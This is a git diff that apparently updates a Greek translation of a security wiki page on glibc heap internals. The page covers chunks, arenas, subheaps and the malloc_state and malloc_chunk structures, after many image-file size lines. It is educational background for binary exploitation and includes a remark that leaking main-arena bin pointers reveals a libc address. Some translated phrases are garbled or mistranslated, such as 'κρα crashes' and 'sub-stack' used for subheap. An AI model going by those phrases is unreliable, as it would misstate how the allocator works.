Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
BIN
.gitbook/assets/image (10) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
BIN
.gitbook/assets/image (11) (1) (1).png
Normal file
After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 197 KiB |
Before Width: | Height: | Size: 197 KiB After Width: | Height: | Size: 23 KiB |
BIN
.gitbook/assets/image (12) (1) (1).png
Normal file
After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 609 KiB |
Before Width: | Height: | Size: 609 KiB After Width: | Height: | Size: 9.5 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 137 KiB |
Before Width: | Height: | Size: 137 KiB After Width: | Height: | Size: 16 KiB |
BIN
.gitbook/assets/image (14) (1) (1).png
Normal file
After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1.3 MiB |
Before Width: | Height: | Size: 1.3 MiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 29 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 428 KiB |
Before Width: | Height: | Size: 428 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 18 KiB |
BIN
.gitbook/assets/image (17) (1) (1).png
Normal file
After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 92 KiB |
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 334 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 95 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 58 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 23 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 334 KiB After Width: | Height: | Size: 35 KiB |
|
@ -1,50 +1,56 @@
|
|||
# Σωρός
|
||||
# Libc Heap
|
||||
|
||||
## Βασικά για τον Σωρό
|
||||
## Heap Basics
|
||||
|
||||
Ο σωρός είναι βασικά το μέρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, γίνεται διαθέσιμη καλώντας τη συνάρτηση **`free`**.
|
||||
Ο σωρός είναι βασικά ο χώρος όπου ένα πρόγραμμα μπορεί να αποθηκεύσει δεδομένα όταν ζητά δεδομένα καλώντας συναρτήσεις όπως **`malloc`**, `calloc`... Επιπλέον, όταν αυτή η μνήμη δεν χρειάζεται πλέον, καθίσταται διαθέσιμη καλώντας τη συνάρτηση **`free`**.
|
||||
|
||||
Όπως φαίνεται, βρίσκεται αμέσως μετά από το σημείο όπου φορτώνεται το δυαδικό στη μνήμη (ελέγξτε την ενότητα `[heap]`):
|
||||
Όπως φαίνεται, είναι ακριβώς μετά το σημείο όπου το δυαδικό αρχείο φορτώνεται στη μνήμη (ελέγξτε την ενότητα `[heap]`):
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1241).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Βασική Δέσμη Εκχώρησης
|
||||
### Basic Chunk Allocation
|
||||
|
||||
Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στο σωρό, κάποιος χώρος του σωρού εκχωρείται γι' αυτά. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητηθέντα δεδομένα + ο χώρος των κεφαλίδων του bin + η ελάχιστη μετατόπιση μεγέθους bin θα είναι κρατημένα για το κομμάτι. Ο στόχος είναι να κρατηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνει περίπλοκη η εύρεση κάθε κομματιού. Γι' αυτό, χρησιμοποιούνται οι πληροφορίες μεταδεδομένων κομματιών για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο κομμάτι.
|
||||
Όταν ζητείται να αποθηκευτούν κάποια δεδομένα στον σωρό, δεσμεύεται κάποιος χώρος του σωρού γι' αυτό. Αυτός ο χώρος θα ανήκει σε ένα bin και μόνο τα ζητούμενα δεδομένα + ο χώρος των κεφαλίδων bin + η ελάχιστη απόσταση μεγέθους bin θα διατηρηθούν για το chunk. Ο στόχος είναι να διατηρηθεί όσο το δυνατόν λιγότερη μνήμη χωρίς να γίνει περίπλοκο να βρεθεί πού βρίσκεται κάθε chunk. Για αυτό, χρησιμοποιούνται οι πληροφορίες chunk metadata για να γνωρίζουμε πού βρίσκεται κάθε χρησιμοποιούμενο/ελεύθερο chunk.
|
||||
|
||||
Υπάρχουν διαφορετικοί τρόποι για την εκχώρηση χώρου κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η ακόλουθη:
|
||||
Υπάρχουν διάφοροι τρόποι για να δεσμευτεί ο χώρος, κυρίως ανάλογα με το χρησιμοποιούμενο bin, αλλά μια γενική μεθοδολογία είναι η εξής:
|
||||
|
||||
* Το πρόγραμμα ξεκινά ζητώντας συγκεκριμένη ποσότητα μνήμης.
|
||||
* Αν στη λίστα των κομματιών υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να καλύψει το αίτημα, θα χρησιμοποιηθεί.
|
||||
* Αυτό μπορεί ακόμη και να σημαίνει ότι ένα μέρος του διαθέσιμου κομματιού θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των κομματιών
|
||||
* Αν δεν υπάρχει κανένα διαθέσιμο κομμάτι στη λίστα αλλά υπάρχει ακόμη χώρος στην εκχωρημένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο κομμάτι
|
||||
* Αν δεν υπάρχει αρκετός χώρος στο σωρό για να εκχωρηθεί το νέο κομμάτι, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει εκχωρηθεί στο σωρό και στη συνέχεια να χρησιμοποιήσει αυτή τη μνήμη για τη δημιουργία του νέου κομματιού
|
||||
* Αν αποτύχει τα παραπάνω, το `malloc` επιστρέφει null.
|
||||
* Το πρόγραμμα ξεκινά ζητώντας μια συγκεκριμένη ποσότητα μνήμης.
|
||||
* Αν στη λίστα των chunks υπάρχει κάποιο διαθέσιμο αρκετά μεγάλο για να ικανοποιήσει το αίτημα, θα χρησιμοποιηθεί.
|
||||
* Αυτό μπορεί ακόμη και να σημαίνει ότι μέρος του διαθέσιμου chunk θα χρησιμοποιηθεί για αυτό το αίτημα και το υπόλοιπο θα προστεθεί στη λίστα των chunks.
|
||||
* Αν δεν υπάρχει διαθέσιμο chunk στη λίστα αλλά υπάρχει ακόμη χώρος στη δεσμευμένη μνήμη του σωρού, ο διαχειριστής του σωρού δημιουργεί ένα νέο chunk.
|
||||
* Αν δεν υπάρχει αρκετός χώρος στον σωρό για να δεσμευτεί το νέο chunk, ο διαχειριστής του σωρού ζητά από τον πυρήνα να επεκτείνει τη μνήμη που έχει δεσμευτεί για τον σωρό και στη συνέχεια χρησιμοποιεί αυτή τη μνήμη για να δημιουργήσει το νέο chunk.
|
||||
* Αν όλα αποτύχουν, το `malloc` επιστρέφει null.
|
||||
|
||||
Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπεράσει ένα κατώτατο όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφήσει τη ζητούμενη μνήμη.
|
||||
Σημειώστε ότι αν η ζητούμενη **μνήμη ξεπερνά ένα όριο**, θα χρησιμοποιηθεί το **`mmap`** για να χαρτογραφηθεί η ζητούμενη μνήμη.
|
||||
|
||||
## Αρένες
|
||||
## Arenas
|
||||
|
||||
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέψει τις **συνθήκες ανταγωνισμού** που θα μπορούσαν να οδηγήσουν σε κολάσεις. Αρχικά, αυτό επιτελούνταν χρησιμοποιώντας ένα **καθολικό κλειδαριά** για να διασφαλίσει ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στο σωρό ταυτόχρονα, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του φραγμού που προκαλούσε η κλειδαριά.
|
||||
Σε **πολυνηματικές** εφαρμογές, ο διαχειριστής του σωρού πρέπει να αποτρέπει **συνθήκες ταχύτητας** που θα μπορούσαν να οδηγήσουν σε κρα crashes. Αρχικά, αυτό γινόταν χρησιμοποιώντας ένα **παγκόσμιο mutex** για να διασφαλιστεί ότι μόνο ένα νήμα μπορούσε να έχει πρόσβαση στον σωρό τη φορά, αλλά αυτό προκαλούσε **προβλήματα απόδοσης** λόγω του στενέματος που προκαλούσε το mutex.
|
||||
|
||||
Για να αντιμετωπίσει αυτό, ο αναθέτης σωρού ptmalloc2 εισήγαγε "αρένες," όπου **κάθε αρένα** λειτουργεί ως ένας **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **κλειδαριά**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να επηρεάζουν ο ένας τον άλλο, όσον αφορά όταν χρησιμοποιούν διαφορετικές αρένες.
|
||||
Για να αντιμετωπιστεί αυτό, ο αλγόριθμος διαχείρισης σωρού ptmalloc2 εισήγαγε τις "arenas", όπου **κάθε arena** λειτουργεί ως **ξεχωριστός σωρός** με τις **δικές της** δομές **δεδομένων** και **mutex**, επιτρέποντας σε πολλά νήματα να εκτελούν λειτουργίες σωρού χωρίς να παρεμβαίνουν το ένα στο άλλο, εφόσον χρησιμοποιούν διαφορετικές arenas.
|
||||
|
||||
Η προεπιλεγμένη "κύρια" αρένα χειρίζεται τις λειτουργίες σωρού για μονονηματικές εφαρμογές. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού αναθέτει σε αυτά **δευτερεύουσες αρένες** για να μειώσει τον ανταγωνισμό. Πρώτα προσπαθεί να συνδέσει κάθε νέο νήμα σε μια αχρησιμοποίητη αρένα, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, τα **νήματα πρέπει να μοιράζονται αρένες**, οδηγώντας σε πιθανό ανταγωνισμό.
|
||||
Η προεπιλεγμένη "κύρια" arena χειρίζεται τις λειτουργίες του σωρού για εφαρμογές με ένα νήμα. Όταν προστίθενται **νέα νήματα**, ο διαχειριστής του σωρού τους αναθέτει **δευτερεύουσες arenas** για να μειώσει την αντιπαλότητα. Αρχικά προσπαθεί να συνδέσει κάθε νέο νήμα με μια μη χρησιμοποιούμενη arena, δημιουργώντας νέες αν χρειαστεί, μέχρι ένα όριο 2 φορές τον αριθμό των πυρήνων CPU για συστήματα 32-bit και 8 φορές για συστήματα 64-bit. Μόλις φτάσει το όριο, **τα νήματα πρέπει να μοιράζονται τις arenas**, οδηγώντας σε πιθανή αντιπαλότητα.
|
||||
|
||||
Αντίθετα με την κύρια αρένα, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες αρένες δημιουργούν "υποσωρούς" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες.
|
||||
Σε αντίθεση με την κύρια arena, η οποία επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `brk`, οι δευτερεύουσες arenas δημιουργούν "subheaps" χρησιμοποιώντας `mmap` και `mprotect` για να προσομοιώσουν τη συμπεριφορά του σωρού, επιτρέποντας ευελιξία στη διαχείριση μνήμης για πολυνηματικές λειτουργίες.
|
||||
|
||||
### Υποσωροί
|
||||
### Subheaps
|
||||
|
||||
Οι υποσωροί λειτουργούν ως αποθεματικά μνήμης για τις δευτερεύουσες αρένες σε πολυνηματικές εφαρμογές, επιτρέποντας τους να αυξάνονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Εδώ είναι πώς οι υποσωροί διαφέρουν από τον αρχικό σωρό και πώς λειτουργούν:
|
||||
Τα subheaps χρησιμεύουν ως αποθέματα μνήμης για δευτερεύουσες arenas σε πολυνηματικές εφαρμογές, επιτρέποντάς τους να αναπτύσσονται και να διαχειρίζονται τις δικές τους περιοχές σωρού ξεχωριστά από τον κύριο σωρό. Να πώς διαφέρουν τα subheaps από τον αρχικό σωρό και πώς λειτουργούν:
|
||||
|
||||
1. **Αρχικός Σωρός έναντι Υποσωρών**:
|
||||
* Ο αρχικός σωρός βρίσκεται αμέσως μετά το δυαδικό του πρόγραμμα στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
|
||||
* Οι υποσωροί, χρησιμοποιούμενοι από δευτερεύουσες αρένες, δημιουργούνται μέσω `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια συγκεκριμένη περιοχή μνήμης.
|
||||
2. **Εκχώρηση Μνήμης με `mmap`**:
|
||||
* Όταν ο διαχειριστής του σωρού δημιουργεί έναν υποσωρό, εκχωρεί ένα μεγάλο τμήμα μνήμης μέσω του `mmap`. Αυτή η εκχώρηση δεν κατανέμει μνήμη αμέσως· απλώς καθορίζει μια περιοχή που άλλες διεργασίες του συστήματος ή εκχωρήσεις δεν πρέπει να χρησιμοποιήσουν.
|
||||
* Από προεπιλογή, το μέγεθος της εκχωρημένης μνήμης για έναν υποσωρό είναι 1 MB για διεργασίες 32-bit και 64 MB για διεργασίες 64-bit.
|
||||
1. **Αρχικός Σωρός vs. Subheaps**:
|
||||
* Ο αρχικός σωρός βρίσκεται ακριβώς μετά το δυαδικό αρχείο του προγράμματος στη μνήμη και επεκτείνεται χρησιμοποιώντας την κλήση συστήματος `sbrk`.
|
||||
* Τα subheaps, που χρησιμοποιούνται από δευτερεύουσες arenas, δημιουργούνται μέσω του `mmap`, μιας κλήσης συστήματος που χαρτογραφεί μια καθορισμένη περιοχή μνήμης.
|
||||
2. **Δέσμευση Μνήμης με `mmap`**:
|
||||
* Όταν ο διαχειριστής του σωρού δημιουργεί ένα subheap, δεσμεύει ένα μεγάλο μπλοκ μνήμης μέσω του `mmap`. Αυτή η δέσμευση δεν δεσμεύει άμεσα μνήμη; απλώς καθορίζει μια περιοχή που δεν πρέπει να χρησιμοποιούν άλλες διαδικασίες ή δεσμεύσεις του συστήματος.
|
||||
* Από προεπιλογή, το μέγεθος που έχει δεσμευτεί για ένα subheap είναι 1 MB για διαδικασίες 32-bit και 64 MB για διαδικασίες 64-bit.
|
||||
3. **Σταδιακή Επέκταση με `mprotect`**:
|
||||
*
|
||||
* Η δεσμευμένη περιοχή μνήμης αρχικά σημειώνεται ως `PROT_NONE`, υποδεικνύοντας ότι ο πυρήνας δεν χρειάζεται να δεσμεύσει φυσική μνήμη σε αυτό το χώρο ακόμα.
|
||||
* Για να "αναπτυχθεί" το subheap, ο διαχειριστής του σωρού χρησιμοποιεί το `mprotect` για να αλλάξει τις άδειες σελίδας από `PROT_NONE` σε `PROT_READ | PROT_WRITE`, προτρέποντας τον πυρήνα να δεσμεύσει φυσική μνήμη στις προηγουμένως δεσμευμένες διευθύνσεις. Αυτή η σταδιακή προσέγγιση επιτρέπει στο subheap να επεκτείνεται κατά ανάγκη.
|
||||
* Μόλις εξαντληθεί ολόκληρο το subheap, ο διαχειριστής του σωρού δημιουργεί ένα νέο subheap για να συνεχίσει τη δέσμευση.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Αυτή η δομή δεσμεύει σχετικές πληροφορίες του σωρού. Επιπλέον, η μνήμη του σωρού μπορεί να μην είναι συνεχής μετά από περισσότερες δεσμεύσεις, αυτή η δομή θα αποθηκεύει επίσης αυτές τις πληροφορίες.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -64,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
```
|
||||
### malloc\_state
|
||||
|
||||
**Κάθε σωρός** (κύριος σωρός ή άλλοι σωροί νημάτων) έχει μια **δομή `malloc_state`.**\
|
||||
Είναι σημαντικό να παρατηρήσουμε ότι η **δομή `malloc_state` του κύριου σωρού** είναι μια **παγκόσμια μεταβλητή στο libc** (επομένως βρίσκεται στο χώρο μνήμης του libc).\
|
||||
Στην περίπτωση των **δομών `malloc_state`** των σωρών των νημάτων, βρίσκονται **μέσα στον "σωρό" του ίδιου νήματος**.
|
||||
**Κάθε σωρός** (κύρια αρένα ή άλλες αρένες νημάτων) έχει μια **δομή `malloc_state`.**\
|
||||
Είναι σημαντικό να σημειωθεί ότι η **δομή `malloc_state` της κύριας αρένας** είναι μια **παγκόσμια μεταβλητή στη libc** (άρα βρίσκεται στον χώρο μνήμης της libc).\
|
||||
Στην περίπτωση των δομών **`malloc_state`** των σωρών των νημάτων, βρίσκονται **μέσα στη "σωρό" του δικού τους νήματος**.
|
||||
|
||||
Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτήν τη δομή (δείτε τον κώδικα C παρακάτω):
|
||||
Υπάρχουν μερικά ενδιαφέροντα πράγματα που πρέπει να σημειωθούν από αυτή τη δομή (δείτε τον παρακάτω κώδικα C):
|
||||
|
||||
* `__libc_lock_define (, mutex);` Χρησιμοποιείται για να εξασφαλίσει ότι αυτή η δομή από τον σωρό προσπελαύνεται από 1 νήμα τη φορά
|
||||
* `__libc_lock_define (, mutex);` Υπάρχει για να διασφαλίσει ότι αυτή η δομή από τη σωρό προσπελάζεται από 1 νήμα τη φορά
|
||||
* Σημαίες:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -80,11 +86,11 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Το `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στα **πρώτα και τελευταία κομμάτια** των μικρών, μεγάλων και αταξινόμητων **κάδων** (το -2 είναι επειδή το δείκτης 0 δε χρησιμοποιείται)
|
||||
* Επομένως, το **πρώτο κομμάτι** αυτών των κάδων θα έχει ένα **αντίστροφο δείκτη προς αυτήν τη δομή** και το **τελευταίο κομμάτι** αυτών των κάδων θα έχει ένα **μπροστινό δείκτη** προς αυτήν τη δομή. Αυτό σημαίνει ουσιαστικά ότι αν μπορείτε να **διαρρεύσετε** αυτές τις διευθύνσεις στον κύριο σωρό, θα έχετε ένα δείκτη προς τη δομή στο **libc**.
|
||||
* Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες σωρών
|
||||
* Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο ουσιαστικά είναι **όλος ο υπόλοιπος χώρος του σωρού**. Μόλις το κομμάτι top είναι "άδειο", ο σωρός έχει χρησιμοποιηθεί πλήρως και χρειάζεται να ζητήσει περισσότερο χώρο.
|
||||
* Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι διαιρείται, ένα μέρος του υπολειπόμενου δείκτη τοποθετείται εδώ.
|
||||
* Ο `mchunkptr bins[NBINS * 2 - 2];` περιέχει **δείκτες** στους **πρώτους και τελευταίους κομμάτια** των μικρών, μεγάλων και αταξινόμητων **δοχείων** (το -2 είναι επειδή ο δείκτης 0 δεν χρησιμοποιείται)
|
||||
* Επομένως, το **πρώτο κομμάτι** αυτών των δοχείων θα έχει έναν **ανάποδο δείκτη σε αυτή τη δομή** και το **τελευταίο κομμάτι** αυτών των δοχείων θα έχει έναν **προForward δείκτη** σε αυτή τη δομή. Αυτό σημαίνει βασικά ότι αν μπορείτε να **διαρρεύσετε αυτές τις διευθύνσεις στην κύρια αρένα** θα έχετε έναν δείκτη στη δομή στη **libc**.
|
||||
* Οι δομές `struct malloc_state *next;` και `struct malloc_state *next_free;` είναι συνδεδεμένες λίστες αρεών
|
||||
* Το κομμάτι `top` είναι το τελευταίο "κομμάτι", το οποίο είναι βασικά **όλος ο χώρος που απομένει στη σωρό**. Μόλις το κομμάτι κορυφής είναι "άδειο", η σωρός έχει χρησιμοποιηθεί εντελώς και χρειάζεται να ζητήσει περισσότερο χώρο.
|
||||
* Το κομμάτι `last reminder` προέρχεται από περιπτώσεις όπου δεν είναι διαθέσιμο ένα κομμάτι ακριβούς μεγέθους και επομένως ένα μεγαλύτερο κομμάτι χωρίζεται, ένα δείκτης που απομένει τοποθετείται εδώ.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -134,7 +140,7 @@ INTERNAL_SIZE_T max_system_mem;
|
|||
```
|
||||
### malloc\_chunk
|
||||
|
||||
Αυτή η δομή αντιπροσωπεύει ένα συγκεκριμένο κομμάτι μνήμης. Τα διάφορα πεδία έχουν διαφορετική σημασία για τα κομμάτια μνήμης που έχουν εκχωρηθεί και για αυτά που δεν έχουν εκχωρηθεί.
|
||||
Αυτή η δομή αναπαριστά ένα συγκεκριμένο κομμάτι μνήμης. Τα διάφορα πεδία έχουν διαφορετική σημασία για τα κατανεμημένα και μη κατανεμημένα κομμάτια.
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
|
@ -149,34 +155,34 @@ struct malloc_chunk* bk_nextsize;
|
|||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης μερικά μεταδεδομένα, πολύ καλά αναπαριστώμενα σε αυτήν την εικόνα:
|
||||
Όπως σχολιάστηκε προηγουμένως, αυτά τα κομμάτια έχουν επίσης κάποια μεταδεδομένα, πολύ καλά απεικονισμένα σε αυτή την εικόνα:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
Τα μεταδεδομένα είναι συνήθως 0x08B, υποδεικνύοντας το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
|
||||
Τα μεταδεδομένα είναι συνήθως 0x08B που υποδεικνύει το μέγεθος του τρέχοντος κομματιού χρησιμοποιώντας τα τελευταία 3 bits για να υποδείξει:
|
||||
|
||||
* `A`: Αν είναι 1 προέρχεται από έναν υπο-σωρό, αν είναι 0 είναι στην κύρια αρένα
|
||||
* `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει εκχωρηθεί με τη χρήση της mmap και δεν είναι μέρος ενός σωρού
|
||||
* `A`: Αν είναι 1 προέρχεται από μια υπο-στοίβα, αν είναι 0 είναι στην κύρια αρένα
|
||||
* `M`: Αν είναι 1, αυτό το κομμάτι είναι μέρος ενός χώρου που έχει κατανεμηθεί με mmap και δεν είναι μέρος μιας στοίβας
|
||||
* `P`: Αν είναι 1, το προηγούμενο κομμάτι είναι σε χρήση
|
||||
|
||||
Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τέλος 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει τα δεδομένα του χρήστη όταν είναι εκχωρημένο).
|
||||
Στη συνέχεια, ο χώρος για τα δεδομένα του χρήστη, και τελικά 0x08B για να υποδείξει το μέγεθος του προηγούμενου κομματιού όταν το κομμάτι είναι διαθέσιμο (ή για να αποθηκεύσει δεδομένα χρήστη όταν είναι κατανεμημένο).
|
||||
|
||||
Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται επίσης για να περιέχουν και μερικά δεδομένα:
|
||||
Επιπλέον, όταν είναι διαθέσιμα, τα δεδομένα του χρήστη χρησιμοποιούνται για να περιέχουν επίσης κάποια δεδομένα:
|
||||
|
||||
* **`fd`**: Δείκτης προς το επόμενο κομμάτι
|
||||
* **`bk`**: Δείκτης προς το προηγούμενο κομμάτι
|
||||
* **`fd_nextsize`**: Δείκτης προς το πρώτο κομμάτι στη λίστα που είναι μικρότερο από αυτό
|
||||
* **`bk_nextsize`:** Δείκτης προς το πρώτο κομμάτι στη λίστα που είναι μεγαλύτερο από αυτό
|
||||
* **`fd`**: Δείκτης στο επόμενο κομμάτι
|
||||
* **`bk`**: Δείκτης στο προηγούμενο κομμάτι
|
||||
* **`fd_nextsize`**: Δείκτης στο πρώτο κομμάτι στη λίστα που είναι μικρότερο από το ίδιο
|
||||
* **`bk_nextsize`:** Δείκτης στο πρώτο κομμάτι της λίστας που είναι μεγαλύτερο από το ίδιο
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη για έναν πίνακα όπου κάθε μεμονωμένο κομμάτι καταγράφεται.
|
||||
Σημειώστε πώς η σύνδεση της λίστας με αυτόν τον τρόπο αποτρέπει την ανάγκη να υπάρχει ένα πίνακας όπου κάθε κομμάτι καταχωρείται.
|
||||
{% endhint %}
|
||||
|
||||
### Δείκτες Κομματιών
|
||||
|
||||
Όταν χρησιμοποιείται το malloc επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τους κεφαλίδες), ωστόσο, κατά τη διαχείριση των κομματιών, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
|
||||
Όταν χρησιμοποιείται malloc, επιστρέφεται ένας δείκτης στο περιεχόμενο που μπορεί να γραφτεί (αμέσως μετά τις κεφαλίδες), ωστόσο, όταν διαχειρίζεστε κομμάτια, χρειάζεται ένας δείκτης στην αρχή των κεφαλίδων (μεταδεδομένα).\
|
||||
Για αυτές τις μετατροπές χρησιμοποιούνται αυτές οι συναρτήσεις:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
